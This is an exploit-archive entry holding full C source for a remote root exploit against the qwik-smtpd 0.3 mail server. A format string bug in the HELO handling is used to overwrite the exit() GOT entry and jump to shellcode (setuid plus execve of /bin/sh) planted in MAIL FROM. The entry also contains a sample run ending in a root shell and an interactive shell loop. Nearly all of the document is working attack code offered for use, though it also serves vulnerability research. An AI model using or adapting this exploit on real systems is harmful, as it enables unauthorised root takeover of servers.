Qwik SMTP 0.3 Remote Root Format String Exploit

2004-11-09T00:00:00
ID SSV:15378
Type seebug
Reporter Root
Modified 2004-11-09T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /*
** qwik-smtp Remote Root Exploit
** -------------------------------
**
** Bug found by: Dark Eagle <darkeagle [at] list d0t ru>
** Exploit coded by: Carlos Barros <barros [at] barrossecurity d0t com>
** Home Page: http://www.barrossecurity.com
**
** Exploitation techinique:
**
** This bug is a simple format string bug. While coding this exploit, I found just two
** "problems". The first is that our buffer is only 32 bytes long and the second is that
** qwik-smtpd filters spaces chars with the isspace(), this way our 0x0b code used in the
** shellcode is filtered. To circumvent the first problem I divided the exploit in two
** stages. The first one overwrite the LSW of the exit() GOT entry and the second overwrite
** the MSW. Then, we send an EXIT command forcing the qwik-smtpd to jump into our shellcode.
** The second problem was "fixed" using another char (0x10) and then decrementing it before
** calling the int 0x80 syscall.
**
** Notes:
**
** You MUST enter your external IP Address (when attacking remotely) or 127.0.0.1 (when
** attacking locally) cause its IP is printed before our buffer, so its length MUST enter
** in the calculation of the format string attack.
**
** sprintf(Received,"Received: from %s (HELO %s) (%s) by %s with SMTP; %s\n",
** clientHost, clientHelo, clientIP, localHost, timebuf);
** ----------
** Destination MUST be one valid email address on the target machine. If not, it will reply
** with one erro code like this:
**
** -> Sending RCPT TO ... ERROR - 550 user not here
**
** Screenshot:
**
** [barros@BarrosSecurity qwik]$ ./a.out -h localhost -u barros@teste.com -t 0 -i 127.0.0.1
**
** ==[ qwik_smtpd Remote Format String Exploit, bY Carlos Barros ]==
**
** *** Target plataform : qwik_smtpd 0.3 - Fedor Core 2
** *** Target host : localhost
** *** Target port : 25
** *** Target GOT : 0x0804b2e8
**
** *** Target Retaddr : 0xfeffe6f0
**
** -> Connecting ... OK
** -> Getting the banner ... 220 SMTP service ready
**
** *** STAGE 1 ***
**
** -> Creating EvilBuffer ... OK
** -> Sending HELO with EvilBuffer ... OK
** -> Sending MAIL FROM with Shellcode ... OK
** -> Sending RCPT TO ... OK
** -> Sending DATA ... OK
** -> Sending "." ... OK
**
** *** STAGE 2 ***
**
** -> Creating EvilBuffer ... OK
** -> Sending HELO with EvilBuffer ... OK
** -> Sending MAIL FROM with Shellcode ... OK
** -> Sending RCPT TO ... OK
** -> Sending DATA ... OK
** -> Sending "." ... OK
** -> Attacking ... OK
**
** Try to send some commands. If doesn't work, hit CTRL+C to exit
**
** Linux BarrosSecurity 2.6.8-1.521 #1 Mon Aug 16 09:01:18 EDT 2004 i686 i686 i386 GNU/Linux
** uid=0(root) gid=0(root)
** exit
** [barros@BarrosSecurity qwik]$
*/

#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>

/*--< Prototypes >--*/
void Usage(char *);
void fatal(char *);
int ConectToHost(char *,int);
char *CreateEvilBuffer(int,int);
void doHack(int);
void VerifyLastCommand(int, char *, char *);
void SendBufferAndVerify(int , char *, char *, char *);

/*--< Defines >--*/
#define DEFAULT_PORT 25
#define STDIN 0
#define STDOUT 1
#define MAX_BUFFER 1024
#define NOPSIZE 200
#define NOP 0x90
#define BUFFER_OFFSET "567" // Keep these \"
#define PADDING "." //

struct
{
char *Name;
int Gotaddr;
int Retaddr;
}Targets[] =
{
"qwik_smtpd 0.3 - Fedor Core 2",
0x0804b2e8,
0xfeffe6f0,

// Finish
0,
0,
0
};

// Shellcode by The Itch of Netric (www.netric.org)
char Shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0); */
"\x31\xc0\x50\x68\x6e\x2f\x73\x68" /* execve() of /bins/h */
"\x68\x2f\x2f\x62\x69\x89\xe3\x50"
"\x53\x89\xe1\xb0"

"\x10\x48\x48\x48\x48\x48" // Modified by Carlos Barros to skip isspace()

"\xcd\x80";

unsigned char STAGE=1;
int IP_Len = 0;

int main(int argc, char **argv)
{
extern char *optarg;
extern int optind;
char opt;
char *Host = NULL;
int Port = DEFAULT_PORT;
int TargetNumber = 0;
int Sock,i;
char *EvilBuffer;
char Buffer[MAX_BUFFER];
char *Rcpt_TO;
char Mail_From[NOPSIZE+strlen(Shellcode)+20];

int ttt;

fprintf(stdout,"\n==[ qwik_smtpd Remote Format String Exploit, bY Carlos Barros ]==\n\n");

// Process arguments
while ( (opt = getopt(argc,argv,"i:h:t:p:u:")) != EOF)
{
switch(opt)
{
case 'i':
IP_Len = strlen(optarg);
break;
case 'u':
Rcpt_TO = optarg;
break;
case 'p':
Port = atoi(optarg);
if(!Port) Usage(argv[0]);
break;
case 't':
TargetNumber = atoi(optarg);
break;
case 'h':
Host = optarg;
break;
default: Usage(argv[0]);
break;
}
}
if(Host == NULL || Rcpt_TO == NULL || !IP_Len) Usage(argv[0]);

// Verify target
for(i=0;;i++)
if(Targets[i].Name == 0) break;
if(--i<TargetNumber) Usage(argv[0]);

fprintf(stdout,"*** Target plataform : %s\n",Targets[TargetNumber].Name);
fprintf(stdout,"*** Target host : %s\n",Host);
fprintf(stdout,"*** Target port : %u\n",Port);
fprintf(stdout,"*** Target GOT : %#010x\n\n",Targets[TargetNumber].Gotaddr);
fprintf(stdout,"*** Target Retaddr : %#010x\n\n",Targets[TargetNumber].Retaddr);

fprintf(stdout,"-> Connecting ... ");
fflush(stdout);
Sock = ConectToHost(Host,Port);
if(Sock == -1) fatal("Could not connect");
else fprintf(stdout,"OK\n");

fprintf(stdout,"-> Getting the banner ... ");
fflush(stdout);
if(recv(Sock,Buffer,MAX_BUFFER-1,0) != -1)
fprintf(stdout,"%s",Buffer);
else
fatal("RECV");

for(;STAGE<3;STAGE++)
{
fprintf(stdout,"\n*** STAGE %d ***\n\n",STAGE);
fprintf(stdout,"-> Creating EvilBuffer ... ");
fflush(stdout);
EvilBuffer = CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr);
fprintf(stdout,"OK\n");

fprintf(stdout,"-> Sending HELO with EvilBuffer ... ");
fflush(stdout);
SendBufferAndVerify(Sock,EvilBuffer,"250",0);
free(EvilBuffer);

fprintf(stdout,"-> Sending MAIL FROM with Shellcode ... ");
fflush(stdout);

// Create the string MAIL FROM NOP+SHELLCODE
strcpy(Mail_From,"mail from ");
memset(Mail_From+10,NOP,NOPSIZE);
Mail_From[10+NOPSIZE-1] = 0;
strcat(Mail_From,Shellcode);
strcat(Mail_From,"\n");

SendBufferAndVerify(Sock,Mail_From,"250",0);

fprintf(stdout,"-> Sending RCPT TO ... ");
fflush(stdout);
snprintf(Buffer,MAX_BUFFER,"rcpt to %s\n",Rcpt_TO);

SendBufferAndVerify(Sock,Buffer,"250","251");

fprintf(stdout,"-> Sending DATA ... ");
fflush(stdout);

sprintf(Buffer,"data\n");
SendBufferAndVerify(Sock,Buffer,"354",0);

fprintf(stdout,"-> Sending \".\" ... ");
fflush(stdout);
snprintf(Buffer,MAX_BUFFER,".\n");
SendBufferAndVerify(Sock,Buffer,"250",0);
}

fprintf(stdout,"-> Attacking ... ");
sprintf(Buffer,"quit\n");
SendBufferAndVerify(Sock,Buffer,"221",0);

fprintf(stdout,"\nTry to send some commands. If doesn't work, hit CTRL+C to exit\n\n");
doHack(Sock);

close(Sock);
}

void SendBufferAndVerify(int Sock, char *Buffer, char *Code1, char *Code2)
{
if(send(Sock,Buffer,strlen(Buffer),0) == -1)
fatal("SEND");
VerifyLastCommand(Sock,Code1,Code2);
}

void VerifyLastCommand(int Sock, char *Code1, char *Code2)
{
char Buffer[MAX_BUFFER];

if(recv(Sock,Buffer,MAX_BUFFER-1,0) != -1)
{
if(strstr(Buffer,Code1) || (Code2 && strstr(Buffer,Code2) )) fprintf(stdout,"OK\n",Buffer);
else
{
*strstr(Buffer,"\n") = 0;
fatal(Buffer);
}
}
else
fatal("RECV");
}

void Usage(char *Prog)
{
int i;
fprintf(stderr, "Usage: %s -h hostname <options>\n\n"
"Options:\n\n"
" -i ipaddress : Your IP address\n"
" -u rcpt_to : Select one valid destination\n"
" -t target : Select the target\n"
" -p portnumber : Sets a new port number <default: 25>\n\n"
"Targets:\n\n",Prog);

for(i=0;;i++)
{
if(Targets[i].Name != 0)
fprintf(stderr," [%u] %s\n",i,Targets[i].Name);
else
break;
}
fprintf(stderr,"\n");
exit(1);
}

void fatal(char *ErrorMsg)
{
fprintf(stderr,"ERROR - %s\n\n",ErrorMsg);
exit(1);
}

int ConectToHost(char *Host,int Port)
{
struct sockaddr_in server;
struct hostent *hp;
int s;

server.sin_family = AF_INET;
hp = gethostbyname(Host);
if(!hp) return(-1);

memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
server.sin_port = htons(Port);

s = socket(PF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
return(-1);

return(s);
}

char *CreateEvilBuffer(int GOT, int Retaddr)
{
char *Buffer = malloc(500);

if(STAGE==1)
sprintf(Buffer,
"helo "PADDING
"%c%c%c%c" // GOT ADDR
"%%%ud" // LSW(EGGAddr)
"%%"BUFFER_OFFSET"$hn" // Write
"\n",
((u_long)GOT),
((u_long)GOT >> 8),
((u_long)GOT >> 16),
((u_long)GOT >> 24),

((Retaddr & 0x0000FFFF) - (27+IP_Len))
);
else
sprintf(Buffer,
"helo "PADDING
"%c%c%c%c" // GOT ADDR
"%%%ud" // LSW(EGGAddr)
"%%"BUFFER_OFFSET"$hn" // Write
"\n",
((u_long)GOT+2),
(((u_long)GOT+2) >> 8),
(((u_long)GOT+2) >> 16),
(((u_long)GOT+2) >> 24),

(((Retaddr & 0xFFFF0000)>>16) - (27+IP_Len))
);

return Buffer;
}

void doHack(int Sock)
{
char buffer[1024 * 10];
int count;
fd_set readfs;

write(Sock,"uname -a;id\n",12);
while(1)
{
FD_ZERO(&readfs);
FD_SET(STDIN, &readfs);
FD_SET(Sock, &readfs);
if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
{
if(FD_ISSET(STDIN, &readfs))
{
if((count = read(STDIN, buffer, 1024)) <= 0)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
{
close(Sock);
exit(-1);
}
}
write(Sock, buffer, count);
}
if(FD_ISSET(Sock, &readfs))
{
if((count = read(Sock, buffer, 1024)) <= 0)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
{
close(Sock);
exit(-1);
}
}
write(STDOUT, buffer, count);
}
}
}
}


// milw0rm.com [2004-11-09]